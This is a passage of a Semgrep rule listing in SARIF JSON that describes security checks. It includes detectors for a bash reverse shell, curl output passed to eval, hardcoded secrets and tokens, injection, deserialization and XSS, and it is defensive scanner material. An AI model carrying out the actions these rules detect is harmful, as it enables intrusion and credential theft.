(HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","id":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","name":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"help":{"markdown":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect)\n - [https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/](https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/)\n - [https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231](https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231)\n","text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect","id":"python.django.security.injection.open-redirect.open-redirect","name":"python.django.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","id":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","name":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","id":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","name":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user-entrypoint.missing-user-entrypoint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"help":{"markdown":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers)\n - [https://docs.python.org/3/library/ssl.html#cipher-selection](https://docs.python.org/3/library/ssl.html#cipher-selection)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers)\n","text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","id":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","name":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval","id":"bash.curl.security.curl-eval.curl-eval","name":"bash.curl.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Semgrep found a bash reverse shell"},"help":{"markdown":"Semgrep found a bash reverse shell\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found a bash reverse shell"},"helpUri":"https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell","id":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","name":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.ci.security.bash-reverse-shell.bash_reverse_shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection)\n - [https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data](https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","id":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","name":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","id":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","name":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"NPM registry authentication token detected"},"help":{"markdown":"NPM registry authentication token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"NPM registry authentication token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","id":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","name":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","id":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","name":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"help":{"markdown":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","id":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","name":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string","id":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","name":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec-format-string.user-exec-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Callable based on user input risks remote code execution."},"help":{"markdown":"Callable based on user input risks remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable)\n - [https://www.php.net/manual/en/language.types.callable.php](https://www.php.net/manual/en/language.types.callable.php)\n","text":"Callable based on user input risks remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable","id":"php.lang.security.injection.tainted-callable.tainted-callable","name":"php.lang.security.injection.tainted-callable.tainted-callable","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-callable.tainted-callable"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"help":{"markdown":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","id":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","name":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SoftLayer API Key detected"},"help":{"markdown":"SoftLayer API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SoftLayer API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","id":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","name":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"help":{"markdown":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html)\n - [https://vuejs.org/v2/guide/syntax.html#Raw-HTML](https://vuejs.org/v2/guide/syntax.html#Raw-HTML)\n","text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"helpUri":"https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","id":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","name":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects](https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django","id":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","name":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - 